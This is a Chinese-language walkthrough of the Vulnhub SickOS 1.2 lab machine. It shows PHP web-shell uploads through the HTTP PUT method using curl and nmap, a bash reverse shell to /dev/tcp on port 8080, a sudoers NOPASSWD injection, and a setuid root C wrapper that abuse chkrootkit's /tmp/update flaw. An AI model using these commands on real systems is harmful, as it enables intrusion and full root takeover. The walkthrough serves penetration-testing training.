1. 程式人生 > 實用技巧 >Vulnhub-靶機-SICKOS: 1.2

Vulnhub-靶機-SICKOS: 1.2

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機下載之後使用僅主機模式載入到本地VMware Workstation工作站,需要發現目標靶機的IP地址,可以使用nmap,netdiscover,或者arp之類的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 當然也是可以使用Windows環境下mac地址掃描工具都是可以的,那麼本次演示就是arp-scan工具發現;此靶機的描述顯示是固定IP地址,所以在VMware上給了IP網段為10.10.10.0/24

地址:https://www.vulnhub.com/entry/sickos-12,144/


sudo nmap -Pn -p- -n -sC -sV -T5 -oN sickos.nmap 192.168.202.13

nmap掃描結果

就開放了兩個埠,先訪問下web應用

常規套路,爆破下目錄

發現了個test地址,訪問看看

看到了一個版本lighttpd/1.4.28 搜搜了相關可能存在漏洞的exp

但是上面搜尋出來的資訊對應版本號只有1.4.x可能符合,但是實際測試並未成功,使用nikto掃描下

未發現什麼有用的資訊,這裡是要根據經驗來判斷的,發現剛才上述出現的test目錄訪問的現象,猜測判斷是否存在PUT上傳漏洞,使用curl探測下

上述也是可以使用nc來探測是否能夠使用PUT方法,確認可以通過PUT直接上傳檔案,這裡本想列舉下所有通過PUT上傳的姿勢總結,但是已經大佬寫過了,那我就不班門弄斧了,下面是參考連結:

https://www.yeahhub.com/http-put-method-exploitation-live-penetration-testing/

https://zhuanlan.zhihu.com/p/41454441

https://wh0ale.github.io/2018/12/23/2018-12-23-%E5%88%A9%E7%94%A8PUT%E6%96%B9%E6%B3%95%E7%9A%84%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95/

通過burpsuite使用PUT方法上傳

正常請求

更改為PUT請求上傳檔案

上傳成功

測試執行命令

通過nmap使用PUT方法上傳

nmap -p 80 192.168.202.13 --script http-put --script-args http-put.url='/test/bmapbmfx.php',http-put.file='/home/kali/Downloads/sickos/cadavers.php'

效果

通過curl命令使用PUT方法上傳

curl --upload-file bmfx.php -v --url http://192.168.202.13/test/bmfx4.php -0 --http1.0
curl -i -X PUT -H "Content-Type: text/plain; charset=utf-8" -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/bmfxshit.php
curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.202.13/test/bmfx1.php
curl -X PUT -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/cmd2.php
curl -v -H 'Expect:' -T bmfx.php "http://192.168.202.13/test/"

使用上述命令種的一種方式都可成功,已經測試過,上述都成功了,就可以開始提權了,我這靶機不是什麼原因,都是對的,反彈shell不成功,索性我上傳了個webshell,進行操作了

然後翻看網站根目錄和目標靶機的系統版本,發現系統版本還是Ubuntu 12.04 ,提權漏洞就很多了,看看計劃任務,發現了Chkrootkit

確認版本是0.49 丟到谷歌搜尋下,得到提權exphttps://www.exploit-db.com/exploits/33899

上述設定了很多種埠,反彈shell都不成功,後臺網上看到,說設定成本地監聽8080端口才能成功,猜想目標靶機設定了防火牆拒絕了很多大部分反彈外聯的埠,這裡設定本地監聽8080埠成功反彈shell

開始提權,根據exp的描述是目標靶機的Chkrootkit會週期性以root身份執行目錄/tmp/update的檔案,所以如果沒有這個檔案就建立

提權方式一:

printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.202.6/8080 0>&1\n' > /tmp/update

本地監聽8080埠,等待反彈shell

提權方法二:

追加當前反彈shell使用者至sudoer進行提權

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /tmp/update

提權方法三:

不演示,之前靶機有演示過類似的,具體C程式碼如下:

#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}